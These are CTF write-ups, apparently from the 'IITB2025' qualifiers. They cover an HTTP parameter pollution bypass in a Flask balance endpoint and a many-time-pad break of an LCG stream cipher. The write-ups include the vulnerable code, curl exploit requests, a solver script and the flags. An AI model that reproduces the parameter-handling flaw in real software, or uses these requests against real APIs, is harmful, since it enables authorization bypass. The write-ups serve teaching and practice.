ssss

This contains writeups of the IITB2025 ctf qualifiers

Writeup: API Parameter Pollution Challenge

Category: API Security

Challenge Name: Secure API

URL: https://tlctf2025-api.chals.io

1. Challenge Overview

We are provided with a Python Flask API (app-public.py) and a link to a live instance. The goal is to recover a flag hidden within the /api/balance endpoint.

A review of the source code shows that the flag is strictly conditional: it is only returned if the user’s balance is greater than or equal to 10,000.

Regular Users: Registered via the API with a starting balance of 100.

Admin User: Hardcoded in the database with a balance of 10,000.

Objective: We must trick the API into revealing the “admin” user’s balance (and thus the flag) while authenticated as a low-privileged user.

2. Code Analysis

The vulnerability is located in the balance() function in app-public.py. The authentication flow is standard, but the logic for retrieving a user’s balance contains a critical flaw in how it handles query parameters.

The Vulnerable Logic

def balance():
    # 1. Access Control Check
    # request.args.get returns the FIRST value for 'username'
    target = request.args.get('username')
    
    # Verifies that the target matches the logged-in user
    if target and target != auth_user:
        return jsonify({'error': 'unauthorized'}), 403

    # 2. Database Query
    # request.args.getlist returns ALL values for 'username'
    query_target = request.args.getlist('username')
    
    if query_target:
        # The code explicitly selects the LAST value in the list
        actual_target = query_target[-1] 
        cur = db.execute('SELECT username, balance FROM users WHERE username = ?', (actual_target,))

The Vulnerability: HTTP Parameter Pollution (HPP)

The application validates one parameter but uses another for the actual logic:

Validation: request.args.get(‘username’) fetches the first occurrence of the parameter. This is checked against our logged-in session.

Execution: request.args.getlist(‘username’)[-1] fetches the last occurrence. This is used to query the database.

By sending two username parameters, we can pass the check with the first one and query the admin account with the second.

3. Exploitation Steps

Step 1: Register a User

First, we register a random user to get valid credentials.

Command:

curl -X POST -H "Content-Type: application/json" -d '{"username":"azrael", "password":"password"}' https://tlctf2025-api.chals.io/api/register

password doesnt matter as this is a ctf

alt text

Step 2: Login and Obtain Token

We log in with the created user to retrieve the UUID authentication token.

Command:

curl -X POST -H "Content-Type: application/json" -d '{"username":"azrael", "password":"password"}' https://tlctf2025-api.chals.io/api/login

alt text

Step 3: Exploit via Parameter Pollution

Using the token, we request the balance. We set the first username to “azrael” (to pass the auth check) and the second username to “admin” (to trigger the query for the flag).

Command:

curl -H "Authorization: Bearer <YOUR_TOKEN>" https://tlctf2025-api.chals.io/api/balance?username=azrael&username=admin

Our command:

curl -H "Authorization: Bearer 09dd59fa-d916-45e6-89ca-d2ef4158bc2a" https://tlctf2025-api.chals.io/api/balance?username=azrael&username=admin

alt text

BOOM Challenge Over

4. Conclusion

The challenge demonstrated a Logic Flaw specifically known as HTTP Parameter Pollution (HPP). By exploiting the discrepancy between how the access control mechanism and the business logic processed duplicate parameters, we successfully bypassed authorization and accessed administrative data.

Flag: trustctf{1n53cur3_0bj3c7_r3f3r3nc3_f7w}

Writeup: Custom Encryption Challenge

Category: Cryptography

Challenge Name: N00bRandomness

1. Challenge Overview

We are provided with a Python script challenge.py and an output file output.txt.

The script implements a custom stream cipher based on a Linear Congruential Generator (LCG). It generates a keystream and XORs it with the plaintext to produce the ciphertext.

The output.txt file gives us:

PLAIN1_HEX: A known plaintext message.

CIPH1_HEX: The encrypted version of the known plaintext.

CIPH2_HEX: Another encrypted message (irrelevant for the solution).

CIPH3_HEX: The encrypted flag.

Objective: Decrypt CIPH3_HEX to retrieve the flag.

2. Code Analysis & Vulnerability

The Encryption Logic

The core encryption logic is found in the _mask_bytes function:

def _mask_bytes(payload: bytes, x: int, y: int, seed: int) -> bytes:
    s = seed & 0xFF
    out = bytearray()
    for b in payload:
        s = _step(x, y, s) # Generates next keystream byte
        out.append(b ^ s)  # XORs plaintext with keystream
    return bytes(out)

The Vulnerability: Keystream Reuse

The vulnerability lies in how main() calls the encryption function:

def main():
    msg1, msg2, flag, A, C, SEED = secret.get_secret_material()

    ct1 = _mask_bytes(msg1, A, C, SEED)
    ct2 = _mask_bytes(msg2, A, C, SEED)
    ct3 = _mask_bytes(flag, A, C, SEED)

Notice that _mask_bytes is called three times with the exact same secrets (A, C) and the exact same SEED.

Because the LCG is deterministic and resets its state s to SEED at the beginning of every _mask_bytes call, the exact same keystream is generated for every message.

This is a classic “Many-Time Pad” vulnerability.

$C_1 = P_1 \oplus K$

$C_{flag} = P_{flag} \oplus K$

Since we know $P_1$ (the welcome message) and $C_1$, we can trivially recover the keystream $K$:

$K = P_1 \oplus C_1$

Once we have $K$, we can decrypt the flag:

$P_{flag} = C_{flag} \oplus K$

3. Exploitation

I wrote a Python script, solve.py, to automate the XOR operations.

solve.py:

PLAIN1_HEX = "57656c636f6d6520746f206d7920756c7472612073656375726520656e6372797074696f6e2073657276696365210a54686973206d6573736167652069732066756c6c79206b6e6f776e20746f20796f752e0a537572656c7920796f752063616e6e6f7420627265616b206d792074686973206369706865722e2e2e0a"
CIPH1_HEX  = "c6956bf53271f6a2dda7bf830cd45eb6b5d25666fea9a047ab1deffbcbc729f381240e99d35c80877b5e962db075816e4969e486804950e158bf4ade6c779b8c24dcab2f3db73d2d1ee67fda5a9492f5f44efd5538fee69ee018f6311044782bdf7e48c25d5ec1c7a8839f63ec343f9288b37705c49c8b378bb6c190cf"
CIPH3_HEX  = "e58272e5297fe7e4d2b1af9b2a901bb4b5ff0430bea29c5cea4babc197fb39d5823d5384c923c7bd7d40ce7ba8"

plain1 = bytes.fromhex(PLAIN1_HEX)
ciph1 = bytes.fromhex(CIPH1_HEX)
ciph3_flag = bytes.fromhex(CIPH3_HEX)

print("Length of Known Plaintext:", len(plain1))
print("Length of Ciphertext 1:   ", len(ciph1))
print("Length of Flag Ciphertext:", len(ciph3_flag))

keystream = []
for p, c in zip(plain1, ciph1):
    keystream.append(p ^ c)

print(f"\nRecovered {len(keystream)} bytes of keystream.")


# Logic: Flag = Flag_Cipher XOR Keystream
flag_bytes = []
for c, k in zip(ciph3_flag, keystream):
    flag_bytes.append(c ^ k)

flag = bytes(flag_bytes).decode('utf-8', errors='ignore')

print(f"FLAG: {flag}")

It converts the hex strings from output.txt into bytes.

It XORs PLAIN1 and CIPH1 to recover the Keystream.

It XORs CIPH3 with the recovered Keystream to reveal the flag.

Execution:

python3 solve.py

alt text

4. Conclusion

The challenge relied on a custom stream cipher that failed to implement a unique nonce or initialization vector (IV) for each encryption. By reusing the same seed for multiple messages, the system became vulnerable to a Known Plaintext Attack, allowing us to recover the keystream and decrypt the flag without needing to crack the underlying LCG parameters.

Flag: trustctf{d0nt_r3us3_k3ystr34ms_lmao}